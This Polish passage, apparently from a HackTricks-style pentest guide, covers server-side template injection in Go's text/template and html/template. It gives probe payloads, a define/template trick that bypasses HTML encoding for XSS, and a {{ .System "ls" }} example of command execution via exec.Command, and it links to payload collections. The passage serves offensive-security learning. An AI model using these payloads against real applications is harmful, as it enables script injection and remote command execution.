  • {{printf "%s" "ssti" }}: Oczekiwane jest wyświetlenie ciągu "ssti".

  • {{html "ssti"}}, {{js "ssti"}}: Te ładunki powinny zwrócić "ssti" bez dodawania "html" lub "js". Dalsze dyrektywy można zbadać w dokumentacji Go tutaj.

Wykorzystanie XSS

Z pakietem text/template, XSS może być proste poprzez bezpośrednie wstawienie ładunku. W przeciwieństwie do tego, pakiet html/template koduje odpowiedź, aby temu zapobiec (np. {{"<script>alert(1)</script>"}} skutkuje &lt;script&gt;alert(1)&lt;/script&gt;). Niemniej jednak, definicja i wywołanie szablonu w Go mogą obejść to kodowanie: {{define "T1"}}alert(1){{end}} {{template "T1"}}

vbnet Copy code

Wykorzystanie RCE

Wykorzystanie RCE różni się znacznie między html/template a text/template. Moduł text/template pozwala na bezpośrednie wywoływanie dowolnej publicznej funkcji (używając wartości „call”), co nie jest dozwolone w html/template. Dokumentacja dla tych modułów jest dostępna tutaj dla html/template i tutaj dla text/template.

Dla RCE przez SSTI w Go, metody obiektów mogą być wywoływane. Na przykład, jeśli dostarczony obiekt ma metodę System wykonującą polecenia, można to wykorzystać jak {{ .System "ls" }}. Zazwyczaj dostęp do kodu źródłowego jest konieczny, aby to wykorzystać, jak w podanym przykładzie:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Więcej informacji

Więcej exploitów

Sprawdź resztę https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection w poszukiwaniu kolejnych exploitów. Możesz również znaleźć interesujące informacje o tagach w https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

2MB
EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf
pdf

Powiązana pomoc

Jeśli uważasz, że to może być przydatne, przeczytaj:

Narzędzia

Lista wykrywania brute-force

Ćwiczenia i odniesienia

​​​RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Z misją promowania wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów z dziedziny technologii i cyberbezpieczeństwa w każdej dyscyplinie.

Wsparcie dla HackTricks

Last updated